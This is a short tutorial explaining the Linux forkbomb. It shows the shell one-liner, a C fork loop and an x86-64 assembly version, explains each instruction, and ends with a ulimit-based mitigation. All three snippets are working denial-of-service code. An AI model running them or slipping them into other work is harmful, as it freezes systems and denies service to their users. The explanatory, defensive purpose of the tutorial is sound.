Dissecting the Linux Forkbomb (x86 Assembly)

The "forkbomb" is a classic denial-of-service attack against a Linux system. It works by recursively spawning new processes until the system's process table is full, rendering it unable to create new processes (including your recovery shell).

While the shell version :(){ :|:& };: is famous, the assembly version is a masterclass in minimalism.

The C Equivalent

In C, a forkbomb looks like this:

#include <unistd.h>

int main() {
    while(1) {
        fork();
    }
    return 0;
}

It loops forever (while(1)), calling the fork() system call, which duplicates the current process.

The x86 Assembly Implementation

We can do this in just a few bytes of machine code.

section .text
global _start

_start:
    ; sys_fork is syscall number 2 on 32-bit Linux
    ; sys_fork is syscall number 57 on 64-bit Linux

    ; 64-bit implementation
    loop:
        mov rax, 57       ; syscall number for fork
        syscall           ; invoke kernel
        jmp loop          ; infinite loop

Breakdown

1. mov rax, 57: We load the syscall number for fork (57 on x86_64) into the rax register.
2. syscall: We trigger a software interrupt to switch to kernel mode and execute the function corresponding to rax.
3. jmp loop: We jump back to the start, repeating the process instantly for both the parent and the newly created child process.

The Result

The growth is exponential. 1 process -> 2 -> 4 -> 8 -> 16...

Within seconds, the system freezes appropriately.

Mitigation

This is why ulimit exists. You can limit the number of processes a user can spawn:

ulimit -u 500

This prevents a single user from crashing the entire system via process exhaustion.